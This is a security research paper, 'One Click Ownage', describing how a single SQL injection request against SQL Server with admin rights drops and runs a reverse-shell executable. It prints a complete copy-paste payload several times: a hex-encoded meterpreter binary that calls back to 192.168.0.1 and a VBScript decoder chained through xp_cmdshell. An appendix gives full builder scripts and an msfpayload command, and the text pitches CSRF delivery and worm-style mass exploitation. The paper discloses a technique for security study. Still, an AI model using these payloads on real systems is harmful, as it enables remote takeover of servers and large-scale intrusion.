ONE CLICK OWNAGE

Ferruh Mavituna

ferruh@mavitunasecurity.com - http://www.mavitunasecurity.com

Idea of this attack is very simple. Getting a reverse shell from an SQL Injection with one request without using an extra channel such as TFTP, FTP to upload the initial payload.

For example the following text will throw a reverse shell to 192.168.0.1:

```
1;exec master..xp_cmdshell 'echo
d="4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F
742062652072756E20696E20444F53206D6F64652E0D0D0A24x075045x024C010300176FAD27x08E0000F030B0102380010x0310x03
50x024062x0360x0370x0440x0210x0302x0204x0301x0304x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02ACx7355505
830x0550x0310x0702x0E80x02E055505831x0510x0360x0304x0302x0E40x02E055505832x0510x0370x0302x0306x0E40x02C0332
E303300555058210D090209F0B5FC11B9DF8C86A641x021D02x0326x0226x02EDB7FFDBFF31C0B900204000683010046 4FF30648920
506A406812x02DA2FE4F65151E9x023C90FF253C402916B205DB07x020F40882A4BE6000700FFFFEE01FCE8560B535556578B6C2418
8B453C8B54057801FFFFFFE5EA8B4A5A2001EBE332498B348B01EE31FFFC31C0AC38E07407C1CFDB97EDFF0D01C7EBF23B7C241475E
12324668B0C4B081CFFDFDE2E8B0429E8EB02285F5E5D5BC208005E6A305964FB7F7BFB8B198B5B0C021C8B1B040853688E4E0EECFF
D689C709F3DFBE7C54CAAF9181EC00018A5057565389E5E81FFFFFFF5D900EB61918E7A41970E9ECF9AA60D909F5ADCBEDFC3B57533
25F33FFFFFFFF32005B8D4B1851FFD789DF89C38D75146A05595153FF348FFF55045989048EE273DDB6FDF22B2754FF370D28835000
40010C6FFFFF6D246D68C0A801976802001A0A89E16A10515714206A40B5B6BDFB5E56C1E6060308566A00100C5006A8B2E0AE851A1
8FFD3B81141B62A1F83AA0009C23617C974404858400F84CE54B60340615516A0A80C7FD90C14443C30014578697450E2DDBFFC726F
6365737356697274756 16C0F746563740FF92FCF1050454C010300176FAD27E000788334FF0F030B010238000221003EDBAB724F20
B1F04060100DF7B369B07501775F90600205830D96037103F103D85A9485E84002E02857DC39E786090AC02236FD9FBBBB9602E7264
6174610C03EC9B9D3D64C2402E692784104B4188293B2427C029x03B82A070012x02FFx0E60BE156040008DBEEBAFFFFF57EB0B908A
064688074701DB75078B1E83EEFC11DB72EDB801x0301DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E8
03720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEF
C11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF
908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B901x038A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1
C01086C429F880EBE801F0890783C70588D8E2D98DBE0040x028B0709C0743C8B5F048D84300060x0201F35083C708FF962860x0295
8A074708C074DC89F95748F2AE55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x02505
46A045357FFD58D879F01x0280207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E938ACFFFFx444470x02287
0x165070x025E70x026E70x027E70x028C70x029A70x064B45524E454C33322E444C4Cx024C6F61644C69627261727941x024765745
0726F6341646472657373x025669727475616C50726F74656374x025669727475616C416C6C6F63x025669727475616C46726565x03
4578697450726F63657373xFFx5A":W CreateObject^("Scripting.FileSystemObject"^).GetSpecialFolder^(2^) ^&
"\wr.exe", R^(d^):Function R^(t^):Dim Arr^(^):For i=0 To Len^(t^)-1 Step 2:Redim Preserve
Ar^(S^):FB=Mid^(t,i+1,1^):SB=Mid^(t,i+2,1^):HX=FB ^& SB:If FB="x" Then:NB=Mid^(t,i+3,1^):L=H^(SB ^&
NB^):For j=0 To L:Redim Preserve Ar^(S+^(j*2^)+1^):Ar^(S+j^)=0:Ar^(S+j+1^)=0:Next:i=i+1:S=S+L:Else:If
Len^(HX^)^>0 Then:Ar^(S^)=H^(HX^):End If:S=S+1:End If:Next:Redim Preserve Ar^(S-2^):R=Ar:End
Function:Function H^(HX^):H=CLng^("&H" ^& HX^):End Function:Sub W^(FN, Buf^):Dim aBuf:Size =
UBound^(Buf^):ReDim aBuf^(Size\2^):For I = 0 To Size - 1 Step
2:aBuf^(I\2^)=ChrW^(Buf^(I+1^)*256+Buf^(I^)^):Next:If I=Size Then:aBuf^(I\2^)=ChrW^(Buf^(I^)^):End
If:aBuf=Join^(aBuf,""^):Set bS=CreateObject^("ADODB.Stream"^):bS.Type=1:bS.Open:With
CreateObject^("ADODB.Stream"^):.Type=2:.Open:.WriteText aBuf:.Position=2:.CopyTo bS:.Close:End
With:bS.SaveToFile FN,2:bS.Close:Set bS=Nothing:End Sub>p.vbs && p.vbs && %TEMP%\wr.exe'
```

Similar attacks have been around for a while, but implementations are either overly complex[1] or relies on installed tools[2] and lack of outbound filtering in the target system. Advantages of this one request approach are:

[1] Using debug.exe
[2] FTP, TFTP, debug.exe

- It's only one request therefore **faster**,
- **Simple**, you don't need a tool you can do it manually by using your browser or a simple MITM proxy, just copy paste the payload,
- **CSRF(able)**, It's possible to craft a link and carry out a **CSRF attack that will give you a reverse shell**[3],
- It's not **fixed**, you can change the payload,
- It's **short**, Generally not more than 3.500 characters, [4]
- Doesn't require any application on the target system like FTP, TFTP or debug.exe[5],
- Easy to **automate**.

TARGET SYSTEM

This attack only works on SQL Injections in SQL Server and SA (admin priviliges) connections. Obviously the theory can be applied other databases.

IMPLEMENTATION

Obvious problem with transferring the initial binary file over HTTP is how to write binary files in an SQL Injection. There are several tricks to accomplish this but none of them are really simple. Since we can't directly carry out and write binary data to the disk we need to convert it to some other format such as base64 and then we need to decode it and write as a binary on the target system.

To overcome this problem I used VBScript to encode and decode the binary data. Since VBScript can be found in all Windows systems by default and never seen that it's removed, it's pretty reliable and powerful enough.

1. Generate a hex representation of the "shell.exe" in the local system,
2. Write a VBScript that can process this hex string and generate a valid binary file,
3. Put all this together into one line,
4. Carry out the SQL injection with this one line.

[3] If CSRF attack uses GET requests, attack should be shorter than 2083 characters to work in Internet Explorer, all other common browser supports up to 8000 characters. *Source: http://www.boutell.com/newfaq/misc/urllength.html*

[4] All web servers supports GET requests up to 8000 characters unless they have hardened with a tool for this. POST requests should work all the time. Source: http://www.boutell.com/newfaq/misc/urllength.html

[5] Other than cscript.exe, ships by default in all Windows OS and no one remove it. csript.exe is the tool responsible to execute VBScript and JScript scripts in Windows. Most of the system won't even work without it. Installers and many other applications rely on it actively, so it's a core component of the OS.

CRAFTING THE ATTACK

Crafting this attack requires two scripts, first one will encode the binary as hex string, the second one will be transferred to the target system to decode this binary and write it to the file system.

1. Generating Hex Representation of the binary

This is an easy one. UPX the original executable (for example a metasploit reverse shell), read the binary and write it as hex. However even after UPX there is still more space for further optimization. There will be lots of null characters in the output, so this implementation takes advatage of it and implements a simple compression and makes the string shorter.

Output of the BuildText.vbs with a sample meterpreter reverse shell:

```
4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742
062652072756E20696E20444F53206D6F64652E0D0D0A24x075045x024C010300176FAD27x08E0000F030B0102380010x0310x0350x
024062x0360x0370x0440x0210x0302x0204x0301x0304x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02ACx7355505830
x0550x0310x0702x0E80x02E055505831x0510x0360x0304x0302x0E40x02E055505832x0510x0370x0302x0306x0E40x02C0332E30
3300555058210D090209F0B5FC11B9DF8C86A641x021D02x0326x0226x02EDB7FFDBFF31C0B900204000068301004 64FF30648920506
A406812x02DA2FE4F65151E9x023C90FF253C402916B205DB07x020F40882A4BE6000700FFFFEE01FCE8560B535556578B6C24188B4
53C8B54057801FFFFFFE5EA8B4A5A2001EBE332498B348B01EE31FFFC31C0AC38E07407C1CFDB97EDFF0D01C7EBF23B7C241475E123
24668B0C4B081CFFDFDE2E8B0429E8EB02285F5E5D5BC208005E6A305964FB7F7BFB8B198B5B0C021C8B1B040853688E4E0EECFFD68
9C709F3DFBE7C54CAAF9181EC00018A5057565389E5E81FFFFFFF5D900EB61918E7A41970E9ECF9AA60D909F5ADCBEDFC3B5753325F
33FFFFFFFF32005B8D4B1851FFD789DF89C38D75146A05595153FF348FFF55045989048EE273DDB6FDF22B2754FF370D28835000400
10C6FFFFF6D246D68C0A801976802001A0A89E16A10515714206A40B5B6BDFB5E56C1E6060308566A00100C5006A8B2E0AE851A18FF
D3B81141B62A1F83AA0009C23617C974404858400F84CE54B60340615516A0A80C7FD90C14443C30014578697450E2DDBFFC726F636
573735669727475616C0F746563740FF92FCF1050454C010300176FAD27E000788334FF0F030B010238000 2221003EDBAB724F20B1F
04060100DF7B369B07501775F90600205830D96037103F103D85A9485E84002E02857DC39E786090AC02236FD9FBBBB9602E7264617
4610C03EC9B9D3D64C2402E692784104B4188293B2427C029x03B82A070012x02FFx0E60BE156040008DBEEBAFFFFF57EB0B908A064
688074701DB75078B1E83EEFC11DB72EDB801x0301DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E8037
20DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11
DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908
B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B901x038A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01
086C429F880EBE801F0890783C70588D8E2D98DBE0040x028B0709C0743C8B5F048D84300060x0201F35083C708FF962860x02958A0
74708C074DC89F95748F2AE55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x0250546A
045357FFD58D879F01x0280207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E938ACFFFFx444470x022870x1
65070x025E70x026E70x027E70x028C70x029A70x064B45524E454C33322E444C4Cx024C6F61644C69627261727941x024765745072
6F6341646472657373x025669727475616C50726F74656374x025669727475616C416C6C6F63x025669727475616C46726565x03457
8697450726F63657373xFFx5A
```

2. Writing the Binary

Generatebinary.vbs writes a new binary to temp folder based on the hex string produced in the first step.

3. Putting it all together

BuildAll.bat batch script will combine the hex string, VBScript then convert them into a one line script. Now all we need to do append the SQL Injection attack, escape it for "echo" usage and URL encode it.

Final attack would be like this:

```
http://example.com?sqlinjection.aso?id=1;exec master..xp_cmdshell 'echo
d="4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F
742062652072756E20696E20444F53206D6F64652E0D0D0A24x075045x024C010300176FAD27x08E0000F030B0102380010x0310x03
50x024062x0360x0370x0440x0210x0302x0204x0301x0304x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02ACx7355505
830x0550x0310x0702x0E80x02E055505831x0510x0360x0304x0302x0E40x02E055505832x0510x0370x0302x0306x0E40x02C0332
E303300555058210D090209F0B5FC11B9DF8C86A641x021D02x0326x0226x02EDB7FFDBFF31C0B900204000683010046 4FF30648920
506A406812x02DA2FE4F65151E9x023C90FF253C402916B205DB07x020F40882A4BE6000700FFFFEE01FCE8560B535556578B6C2418
8B453C8B54057801FFFFFFE5EA8B4A5A2001EBE332498B348B01EE31FFFC31C0AC38E07407C1CFDB97EDFF0D01C7EBF23B7C241475E
12324668B0C4B081CFFDFDE2E8B0429E8EB02285F5E5D5BC208005E6A305964FB7F7BFB8B198B5B0C021C8B1B040853688E4E0EECFF
D689C709F3DFBE7C54CAAF9181EC00018A5057565389E5E81FFFFFFF5D900EB61918E7A41970E9ECF9AA60D909F5ADCBEDFC3B57533
25F33FFFFFFFF32005B8D4B1851FFD789DF89C38D75146A05595153FF348FFF55045989048EE273DDB6FDF22B2754FF370D28835000
40010C6FFFFF6D246D68C0A801976802001A0A89E16A10515714206A40B5B6BDFB5E56C1E6060308566A00100C5006A8B2E0AE851A1
8FFD3B81141B62A1F83AA0009C23617C974404858400F84CE54B60340615516A0A80C7FD90C14443C30014578697450E2DDBFFC726F
6365737356697274756 16C0F746563740FF92FCF1050454C010300176FAD27E000788334FF0F030B010238000 2221003EDBAB724F20
```

```
B1F04060100DF7B369B07501775F90600205830D96037103F103D85A9485E84002E02857DC39E786090AC02236FD9FBBBB9602E7264
6174610C03EC9B9D3D64C2402E692784104B4188293B2427C029x03B82A070012x02FFx0E60BE156040008DBEEBAFFFFF57EB0B908A
064688074701DB75078B1E83EEFC11DB72EDB801x0301DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E8
03720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEF
C11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF
908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B901x038A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1
C01086C429F880EBE801F0890783C70588D8E2D98DBE0040x028B0709C0743C8B5F048D84300060x0201F35083C708FF962860x0295
8A074708C074DC89F95748F2AE55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x02505
46A045357FFD58D879F01x0280207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E938ACFFFFx444470x02287
0x165070x025E70x026E70x027E70x028C70x029A70x064B45524E454C33322E444C4Cx024C6F61644C69627261727941x024765745
0726F6341646472657373x025669727475616C50726F74656374x025669727475616C416C6C6F63x025669727475616C46726565x03
4578697450726F63657373xFFx5A":W CreateObject^("Scripting.FileSystemObject"^).GetSpecialFolder^(2^) ^&
"\wr.exe", R^(d^):Function R^(t^):Dim Arr^(^):For i=0 To Len^(t^)-1 Step 2:Redim Preserve
Ar^(S^):FB=Mid^(t,i+1,1^):SB=Mid^(t,i+2,1^):HX=FB ^& SB:If FB="x" Then:NB=Mid^(t,i+3,1^):L=H^(SB ^&
NB^):For j=0 To L:Redim Preserve Ar^(S+^(j*2^)+1^):Ar^(S+j^)=0:Ar^(S+j+1^)=0:Next:i=i+1:S=S+L:Else:If
Len^(HX^)^>0 Then:Ar^(S^)=H^(HX^):End If:S=S+1:End If:Next:Redim Preserve Ar^(S-2^):R=Ar:End
Function:Function H^(HX^):H=CLng^("&H" ^& HX^):End Function:Sub W^(FN, Buf^):Dim aBuf:Size =
UBound^(Buf^):ReDim aBuf^(Size\2^):For I = 0 To Size - 1 Step
2:aBuf^(I\2^)=ChrW^(Buf^(I+1^)*256+Buf^(I^)^):Next:If I=Size Then:aBuf^(I\2^)=ChrW^(Buf^(I^)^):End
If:aBuf=Join^(aBuf,""^):Set bS=CreateObject^("ADODB.Stream"^):bS.Type=1:bS.Open:With
CreateObject^("ADODB.Stream"^):.Type=2:.Open:.WriteText aBuf:.Position=2:.CopyTo bS:.Close:End
With:bS.SaveToFile FN,2:bS.Close:Set bS=Nothing:End Sub>p.vbs && p.vbs && %TEMP%\wr.exe'
```

After this point, to change the shell.exe would be just creating a new hex string with BuildText.vbs.

Other implication of the attack

CSRF

Since it's only one request, this attack can simply combined with CSRF attacks. If there is an SQL Injection in admin interface and if it's vulnerable to CSRF as well an attacker can carry out a successful CSRF attack which will spawn a reverse shell. This wasn't possible before this attack.

Worms & Google Driven Attacks

In 2008 hundreds of thousands web application hacked due to mass SQL Injection attacks. A similar attack with a bigger effect can be carried out with this one request attack, this behaviour and easy exploitation also makes it a suitable candidate for a worm, which can drop a trojan to all attacked systems and then start searching for new victims via Google or another search engine.

Appendix – Scripts

[c1] - BuildText.vbs

```
'FM - 14/02/09
'Generate a zipped hex representation of a binary file

Set objArgs = WScript.Arguments

If objArgs.Count < 2 Then

    Wscript.stdout.write "Usage:" & vbNewline
    Wscript.stdout.write "-------------------------------" & vbNewline
    Wscript.stdout.write "BuildText.vbs inputfile outputfile" & vbNewline
    Wscript.stdout.write "input : binary file" & vbNewline
    Wscript.stdout.write "output : text file (will be overwritten)" & vbNewline

    Wscript.Quit 1
End If

input = objArgs(0)
output = objArgs(1)
```

```
BinaryText = ReadBinaryFile(input)
WriteFile output, "d=""" & Optimise(ByteArray2Text(BinaryText)) & """"

'Simply zip the 0s
Function Optimise(binary)
  For i=0 To Len(binary) Step 2

    Current = Mid(binary,i+1,2)
    Out = Current

    If Current = "00" Then

      NextBit = "00"
      repeat = 0

      While NextBit = "00" AND repeat < 255

        repeat = repeat + 1
        NextBit = Mid(binary,i+1+(repeat*2),2)
      Wend

      If repeat > 1 Then
        Out = "x" & Right("0" & Hex(repeat),2)

        'Fix the normal loop position
        i = i+(repeat*2)-2
      End If

    End If

    OutTxt = OutTxt & Out

  Next

  Optimise = OutTxt

End Function

Function ByteArray2Text(varByteArray)
    strData = ""
    strBuffer = ""
    HexS = ""

    For lngCounter = 0 to UBound(varByteArray)
        HexS = Hex(Ascb(Midb(varByteArray,lngCounter + 1, 1)))
        If Len(HexS) < 2 Then HexS = "0" & HexS

        strBuffer = strBuffer & HexS

        'Keep strBuffer at 1k bytes maximum // REMOVABLE?
        If lngCounter Mod 1000 = 0 Then
            strData = strData & strBuffer
            strBuffer = ""
        End If
    Next

    ByteArray2Text = strData & strBuffer
End Function


Function ReadBinaryFile(FileName)
  Set BinaryStream = CreateObject("ADODB.Stream")
  BinaryStream.Type = 1 'BinaryType
  BinaryStream.Open
  BinaryStream.LoadFromFile FileName
  ReadBinaryFile = BinaryStream.Read
End Function

Sub WriteFile(file, text)
  Set myFSO = CreateObject("Scripting.FileSystemObject")
```

```
  Set WriteStuff = myFSO.OpenTextFile(file, 2, True)
  WriteStuff.Writeline(text)
  WriteStuff.Close
  SET WriteStuff = NOTHING
  SET myFSO = NOTHING
End Sub
```

[c2] - GENERATEBINARY.VBS

```
W CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\wr.exe", R(d)

Function R(t)

  Dim Arr()
  For i=0 To Len(t)-1 Step 2
      Redim Preserve Ar(S)

      FB=Mid(t,i+1,1)
      SB=Mid(t,i+2,1)
      HX=FB & SB

      If FB="x" Then
        NB=Mid(t,i+3,1)
        L=H(SB & NB)

        For j=0 To L
          Redim Preserve Ar(S+(j*2)+1)
          Ar(S+j)=0
          Ar(S+j+1)=0
        Next

        i=i+1
        S=S+L

      Else
        If Len(HX)>0 Then
          Ar(S)=H(HX)
        End If
        S=S+1

      End If


  Next
  Redim Preserve Ar(S-2)

  R=Ar

End Function

Function H(HX)
  H=CLng("&H" & HX)
End Function

Sub W(FN, Buf)
    Dim aBuf
    Size = UBound(Buf): ReDim aBuf(Size\2)
    For I = 0 To Size - 1 Step 2
        aBuf(I\2)=ChrW(Buf(I+1)*256+Buf(I))
    Next
    If I=Size Then
      aBuf(I\2)=ChrW(Buf(I))
    End If
    aBuf=Join(aBuf,"")
    Set bS=CreateObject("ADODB.Stream")
    bS.Type=1:bS.Open
    With CreateObject("ADODB.Stream")
```

```
        .Type=2:.Open:.WriteText aBuf
        .Position=2:.CopyTo bS:.Close
    End With
    bS.SaveToFile FN,2:bS.Close
    Set bS=Nothing
End Sub
```

[C3] - BUILDALL.BAT

```
@echo off

echo Building Text Representation of Binary
BuildText.vbs Shell.exe Shell.txt

echo Generating New Payload Script
type GenerateBinary.vbs > _temp.tmp
type Shell.txt > GenerateBinary-Generated.vbs
type _temp.tmp >> GenerateBinary-Generated.vbs
del _temp.tmp


echo Packing the payload script
VbPacker GenerateBinary-Generated.vbs GenerateBinary-Generated.packed.vbs

echo Done!

PAUSE
```

[C4] GENERATESHELL.BAT

```
Generating a metasploit meterpreter shell
"C:\Program Files\Metasploit\Framework3\bin\ruby.exe"
C:\Users\youruser\AppData\Local\msf32\msfpayload  windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=6666 X >
Shell.exe
upx -9 Shell.exe

Echo Done!

PAUSE
```